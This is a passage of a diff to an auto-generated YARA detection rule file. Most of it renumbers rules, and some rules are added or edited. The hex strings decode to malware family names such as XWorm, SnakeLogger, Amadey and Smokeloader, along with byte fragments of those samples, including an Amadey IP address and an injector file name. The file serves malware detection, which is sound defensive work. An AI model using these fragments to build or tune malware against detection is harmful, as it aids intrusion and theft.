-rule _InfrastructureShared_3902{ +rule _InfrastructureShared_4034{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40305,7 +41668,7 @@ rule _InfrastructureShared_3902{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3903{ +rule _InfrastructureShared_4035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40315,7 +41678,7 @@ rule _InfrastructureShared_3903{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3904{ +rule _InfrastructureShared_4036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40325,7 +41688,7 @@ rule _InfrastructureShared_3904{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3905{ +rule _InfrastructureShared_4037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40335,7 +41698,7 @@ rule _InfrastructureShared_3905{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3906{ +rule _InfrastructureShared_4038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40345,7 +41708,7 @@ rule _InfrastructureShared_3906{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3907{ +rule _InfrastructureShared_4039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40355,7 +41718,7 @@ rule _InfrastructureShared_3907{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3908{ +rule _InfrastructureShared_4040{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40365,7 +41728,7 @@ rule _InfrastructureShared_3908{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3909{ +rule _InfrastructureShared_4041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40375,7 +41738,7 @@ rule _InfrastructureShared_3909{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3910{ +rule _InfrastructureShared_4042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40385,7 +41748,7 @@ rule _InfrastructureShared_3910{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3911{ +rule _InfrastructureShared_4043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40395,7 +41758,7 @@ rule _InfrastructureShared_3911{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3912{ +rule _InfrastructureShared_4044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40405,7 +41768,7 @@ rule _InfrastructureShared_3912{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3913{ +rule _InfrastructureShared_4045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40415,7 +41778,7 @@ rule _InfrastructureShared_3913{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3914{ +rule _InfrastructureShared_4046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40425,7 +41788,7 @@ rule _InfrastructureShared_3914{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_3915{ +rule _InfrastructureShared_4047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40435,7 +41798,7 @@ rule _InfrastructureShared_3915{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3916{ +rule _InfrastructureShared_4048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40445,7 +41808,7 @@ rule _InfrastructureShared_3916{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3917{ +rule _InfrastructureShared_4049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40455,7 +41818,7 @@ rule _InfrastructureShared_3917{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3918{ +rule _InfrastructureShared_4050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40465,7 +41828,7 @@ rule _InfrastructureShared_3918{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3919{ +rule _InfrastructureShared_4051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40475,7 +41838,7 @@ rule _InfrastructureShared_3919{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3920{ +rule _InfrastructureShared_4052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40485,7 +41848,7 @@ rule _InfrastructureShared_3920{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3921{ +rule _InfrastructureShared_4053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40495,7 +41858,7 @@ rule _InfrastructureShared_3921{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3922{ +rule _InfrastructureShared_4054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40505,7 +41868,7 @@ rule _InfrastructureShared_3922{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3923{ +rule _InfrastructureShared_4055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40515,7 +41878,7 @@ rule _InfrastructureShared_3923{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3924{ +rule _InfrastructureShared_4056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40525,7 +41888,7 @@ rule _InfrastructureShared_3924{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_3925{ +rule _InfrastructureShared_4057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40535,7 +41898,7 @@ rule _InfrastructureShared_3925{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3926{ +rule _InfrastructureShared_4058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40545,7 +41908,7 @@ rule _InfrastructureShared_3926{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_3927{ +rule _InfrastructureShared_4059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40555,7 +41918,7 @@ rule _InfrastructureShared_3927{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3928{ +rule _InfrastructureShared_4060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40565,17 +41928,17 @@ rule _InfrastructureShared_3928{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3929{ +rule _InfrastructureShared_4061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 58 57 6f 72 6d 2e 4a 4b 54 21 4d 54 42 00 01 00 26 01 25 09 6f 24 00 00 0a 6f 28 00 00 0a 11 04 16 11 04 8e 69 6f 29 00 00 0a 13 05 28 10 00 00 0a 11 05 6f 12 00 00 0a 00 } //21539 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 42 49 21 4d 54 42 00 01 00 24 03 17 59 7e 21 00 00 04 16 9a 20 90 01 02 00 00 95 5f 7e 21 00 00 04 16 9a 20 90 01 02 00 00 95 61 59 80 90 00 00 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3930{ +rule _InfrastructureShared_4062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40585,7 +41948,37 @@ rule _InfrastructureShared_3930{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3931{ +rule _InfrastructureShared_4063{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 43 4c 6f 61 64 65 72 2e 47 41 55 21 4d 54 42 00 01 00 22 03 72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 90 01 03 00 90 01 03 00 00 be 0a 00 19 93 2f 2b 90 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4064{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 74 2e 41 48 21 4d 54 42 00 01 00 27 01 89 f1 83 f1 ff 83 e1 02 89 f0 83 f0 ff 89 f2 83 f2 ff 21 d0 83 f0 ff 25 fd ff ff ff 0f af c1 89 f1 83 e1 02 83 ce 02 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4065{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 41 4e 21 4d 54 42 00 01 00 27 01 8a 9c 05 f0 fe ff ff 8b c8 83 e1 3f 0f b6 d3 0f b6 0c 39 03 ca 03 f1 81 e6 ff 00 00 80 79 08 4e 81 ce 00 ff ff ff 46 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40595,7 +41988,17 @@ rule _InfrastructureShared_3931{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3932{ +rule _InfrastructureShared_4067{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 61 72 74 65 2e 41 42 21 4d 54 42 00 01 00 26 01 8b 45 ec 48 63 d0 48 8b 45 20 48 01 d0 0f b6 00 8b 55 ec 48 63 ca 48 8b 55 30 48 01 ca 32 45 eb 88 02 83 45 ec 01 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_4068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40605,7 +42008,7 @@ rule _InfrastructureShared_3932{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_3933{ +rule _InfrastructureShared_4069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -40615,7 +42018,7 @@ rule _InfrastructureShared_3933{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_3934{ +rule _InfrastructureShared_4070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -40626,7 +42029,7 @@ rule _InfrastructureShared_3934{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*1) >=1 } -rule _InfrastructureShared_3935{ +rule _InfrastructureShared_4071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -40638,7 +42041,7 @@ rule _InfrastructureShared_3935{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*17996+(#a_38_2 & 1)*25698) >=1 } -rule _InfrastructureShared_3936{ +rule _InfrastructureShared_4072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -40648,7 +42051,7 @@ rule _InfrastructureShared_3936{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3937{ +rule _InfrastructureShared_4073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -40658,7 +42061,27 @@ rule _InfrastructureShared_3937{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_3938{ +rule _InfrastructureShared_4074{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 43 72 79 73 61 6e 2e 45 48 49 4b 21 4d 54 42 00 02 00 24 02 0e 04 09 6b 06 5a 58 6c 90 01 05 6b 5a 58 0f 02 90 01 05 05 0e 04 09 6b 06 5a 58 6c 90 01 05 6b 5a 58 90 00 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4075{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 61 6b 65 4c 6f 67 67 65 72 2e 45 49 58 59 21 4d 54 42 00 02 00 1f 01 11 07 11 14 11 14 11 14 5a d2 9c 11 14 17 58 13 14 11 14 11 07 8e 69 fe 04 13 15 11 15 2d e1 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_4076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -40669,7 +42092,7 @@ rule _InfrastructureShared_3938{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_3939{ +rule _InfrastructureShared_4077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -40680,7 +42103,7 @@ rule _InfrastructureShared_3939{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_3940{ +rule _InfrastructureShared_4078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -40691,7 +42114,7 @@ rule _InfrastructureShared_3940{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_3941{ +rule _InfrastructureShared_4079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -40702,7 +42125,18 @@ rule _InfrastructureShared_3941{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_3942{ +rule _InfrastructureShared_4080{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 75 72 62 6f 43 61 72 70 2e 41 00 01 00 12 01 00 42 61 63 6b 75 70 5c 64 61 64 64 79 2e 74 78 74 00 01 00 11 03 00 42 61 63 6b 75 70 5c 90 01 10 2e 64 6c 6c 90 00 00 00 78 52 00 00 02 00 } //16675 + $a_00_1 = {21 23 } //2 !# + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 + +} +rule _InfrastructureShared_4081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -40713,7 +42147,7 @@ rule _InfrastructureShared_3942{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_3943{ +rule _InfrastructureShared_4082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -40724,7 +42158,7 @@ rule _InfrastructureShared_3943{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2) >=2 } -rule _InfrastructureShared_3944{ +rule _InfrastructureShared_4083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -40735,29 +42169,39 @@ rule _InfrastructureShared_3944{ ((#a_70_0 & 1)*17699+(#a_23_1 & 1)*16419) >=2 } -rule _InfrastructureShared_3945{ +rule _InfrastructureShared_4084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_54_0 = {3a 57 6f 72 6d 3a 57 69 6e 33 32 2f 52 65 62 68 69 70 21 65 6e 63 72 73 72 63 00 01 00 13 01 23 23 23 23 40 23 23 23 23 20 23 23 23 23 40 23 23 23 23 01 00 0e 01 ba bc f8 bc ea bc ff bc f0 bc fd bc f0 bc 00 00 78 52 00 00 02 00 02 00 02 00 21 23 50 } //18467 - $a_69_1 = {6c 65 3a 48 53 54 52 3a 43 61 70 68 61 77 21 64 6c 6c 00 01 00 13 01 26 77 3d 64 69 73 6b 69 6e 66 6f 26 74 65 78 74 3d 25 73 01 00 14 03 65 78 65 73 3a 90 02 04 3b 73 70 72 65 61 64 3a 25 64 90 00 00 00 78 52 00 00 02 00 02 00 02 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c 61 74 75 61 6c 2e 41 21 64 68 61 00 01 } //29551 + $a_69_1 = {6c 65 3a 48 53 54 52 3a 43 61 70 68 61 77 21 64 6c 6c 00 01 00 13 01 26 77 3d 64 69 73 6b 69 6e 66 6f 26 74 65 78 74 3d 25 73 01 00 14 03 65 78 65 73 3a 90 02 04 3b 73 70 72 65 61 64 3a 25 64 90 00 00 00 78 52 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 72 79 73 2e 41 44 21 4d 54 42 00 01 00 10 01 35 } //29551 condition: ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29551) >=2 } -rule _InfrastructureShared_3946{ +rule _InfrastructureShared_4085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_73_0 = {69 62 6c 65 3a 48 53 54 52 3a 43 61 70 68 61 77 21 64 6c 6c 00 01 00 13 01 26 77 3d 64 69 73 6b 69 6e 66 6f 26 74 65 78 74 3d 25 73 01 00 14 03 65 78 65 73 3a 90 02 04 3b 73 70 72 65 61 64 3a 25 64 90 00 00 00 78 52 00 00 02 00 02 00 02 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c 61 74 75 61 6c 2e 41 } //20515 - $a_61_1 = {01 00 0e 01 41 56 43 4f 62 66 75 73 63 61 74 69 6f 6e 01 00 10 01 a8 8b b8 e3 b1 d7 fe 85 51 32 3e c0 f1 b7 73 99 00 00 78 52 00 00 03 00 03 00 01 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 4f 75 74 6c 6f 6f 6b 52 65 63 63 79 2e 41 21 64 68 61 00 03 00 1e 80 01 4f 75 74 6c 6f 6f 6b 20 45 78 } //25633 + $a_73_0 = {69 62 6c 65 3a 48 53 54 52 3a 43 61 70 68 61 77 21 64 6c 6c 00 01 00 13 01 26 77 3d 64 69 73 6b 69 6e 66 6f 26 74 65 78 74 3d 25 73 01 00 14 03 65 78 65 73 3a 90 02 04 3b 73 70 72 65 61 64 3a 25 64 90 00 00 00 78 52 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 72 79 73 2e 41 44 21 4d 54 42 } //20515 condition: - ((#a_73_0 & 1)*20515+(#a_61_1 & 1)*25633) >=2 + ((#a_73_0 & 1)*20515) >=2 } -rule _InfrastructureShared_3947{ +rule _InfrastructureShared_4086{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 61 72 79 73 2e 41 44 21 4d 54 42 00 01 00 10 01 35 95 40 00 91 95 40 00 c8 95 40 00 c8 95 40 00 01 00 12 01 8b f0 85 f6 76 3f 83 7d f8 01 1b c0 40 3c 01 75 24 83 00 } //21539 + $a_00_1 = {00 02 00 02 00 02 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 6c 61 74 75 61 6c 2e 41 21 64 68 61 00 01 00 0e 01 41 56 43 4f 62 66 75 73 63 61 74 69 6f 6e 01 00 10 01 a8 8b b8 e3 b1 d7 fe 85 51 32 3e c0 f1 b7 73 99 00 } //30720 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*30720) >=2 + +} +rule _InfrastructureShared_4087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -40768,7 +42212,7 @@ rule _InfrastructureShared_3947{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*30720) >=2 } -rule _InfrastructureShared_3948{ +rule _InfrastructureShared_4088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " @@ -40778,7 +42222,7 @@ rule _InfrastructureShared_3948{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_3949{ +rule _InfrastructureShared_4089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -40790,7 +42234,7 @@ rule _InfrastructureShared_3949{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*21587+(#a_57_2 & 1)*21076) >=3 } -rule _InfrastructureShared_3950{ +rule _InfrastructureShared_4090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -40802,7 +42246,7 @@ rule _InfrastructureShared_3950{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*21587+(#a_46_2 & 1)*21076) >=3 } -rule _InfrastructureShared_3951{ +rule _InfrastructureShared_4091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -40814,7 +42258,7 @@ rule _InfrastructureShared_3951{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*21587+(#a_54_2 & 1)*21076) >=3 } -rule _InfrastructureShared_3952{ +rule _InfrastructureShared_4092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -40826,7 +42270,7 @@ rule _InfrastructureShared_3952{ ((#a_54_0 & 1)*18467+(#a_3a_1 & 1)*21587+(#a_72_2 & 1)*14918) >=4 } -rule _InfrastructureShared_3953{ +rule _InfrastructureShared_4093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -40834,12 +42278,12 @@ rule _InfrastructureShared_3953{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 74 6f 6b 2e 4e 21 4d 54 42 00 01 00 06 01 72 70 73 73 4b 4b 01 00 06 01 6d 6d 64 64 2b 2f 01 00 08 01 34 34 73 73 3e 3e 70 73 01 00 06 01 5d 63 2a 4c 78 77 00 00 78 52 00 00 05 00 05 00 01 00 21 23 41 } //18467 $a_54_1 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 53 68 65 6c 6c 63 6f 64 65 52 75 6e 6e 65 72 2e 45 41 4a 46 21 4d 54 42 00 05 00 1b 01 00 07 08 06 08 93 28 14 00 00 0a 9c 00 08 17 58 0c 08 07 } //17996 $a_04_2 = {0d 09 2d e5 00 00 78 52 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 69 6c 6c 61 2e 45 41 55 53 21 4d 54 42 00 05 00 25 01 28 2d 00 00 0a 11 04 11 06 16 11 07 6f 2a 00 00 0a 11 05 11 06 16 11 06 8e 69 6f 2e 00 00 0a 25 13 07 16 30 db 00 00 78 52 00 00 05 00 05 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 6d 6f 6b 65 6c 6f 61 64 65 72 2e 43 43 46 55 21 4d 54 42 00 05 00 1d 03 8a 11 88 10 81 3d 90 01 04 ab 05 00 00 75 90 01 01 6a 00 6a 00 6a 00 6a 00 ff 15 90 00 00 00 78 52 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 72 79 70 74 69 6b 2e 50 47 4b 21 4d 54 42 00 05 00 23 03 f6 d5 f6 d6 80 e5 90 01 01 80 e6 90 01 01 08 e9 08 f2 30 ca 88 14 06 b8 90 01 04 } //27022 - $a_38_3 = {3d 90 00 00 00 78 52 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b } //23691 + $a_38_3 = {3d 90 00 00 00 78 52 00 00 06 00 06 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 } //23691 condition: ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*17996+(#a_04_2 & 1)*27022+(#a_38_3 & 1)*23691) >=4 } -rule _InfrastructureShared_3954{ +rule _InfrastructureShared_4094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -40849,7 +42293,7 @@ rule _InfrastructureShared_3954{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3955{ +rule _InfrastructureShared_4095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -40859,7 +42303,7 @@ rule _InfrastructureShared_3955{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_3956{ +rule _InfrastructureShared_4096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -40869,7 +42313,7 @@ rule _InfrastructureShared_3956{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_3957{ +rule _InfrastructureShared_4097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -40879,7 +42323,18 @@ rule _InfrastructureShared_3957{ ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_3958{ +rule _InfrastructureShared_4098{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 6d 61 64 65 79 2e 41 44 5a 4d 21 4d 54 42 00 05 00 0d 01 31 39 35 2e 36 36 2e 32 37 2e 31 36 36 01 00 11 01 63 68 72 6f 6d 65 5f 69 6e 6a 65 63 74 2e 65 78 65 00 00 78 52 00 00 0a 00 0a 00 01 00 21 23 41 } //18467 + $a_54_1 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 2e 4e 45 41 41 21 4d 54 42 00 0a 00 26 01 0a 06 28 1a 00 00 0a 25 26 0b 28 22 00 00 0a 25 26 07 16 07 8e 69 6f 23 00 00 0a 25 26 0a } //17996 + condition: + ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*17996) >=6 + +} +rule _InfrastructureShared_4099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -40889,7 +42344,17 @@ rule _InfrastructureShared_3958{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_3959{ +rule _InfrastructureShared_4100{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 6c 69 67 6e 65 64 46 6f 6c 64 65 72 2e 41 21 64 68 61 00 0a 00 1c 03 83 c4 04 8b c8 81 e1 ff 0f 00 00 2b c1 8d 8d 90 01 04 05 00 10 00 00 6a 00 51 90 00 00 00 78 52 00 00 0a 00 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=10 + +} +rule _InfrastructureShared_4101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 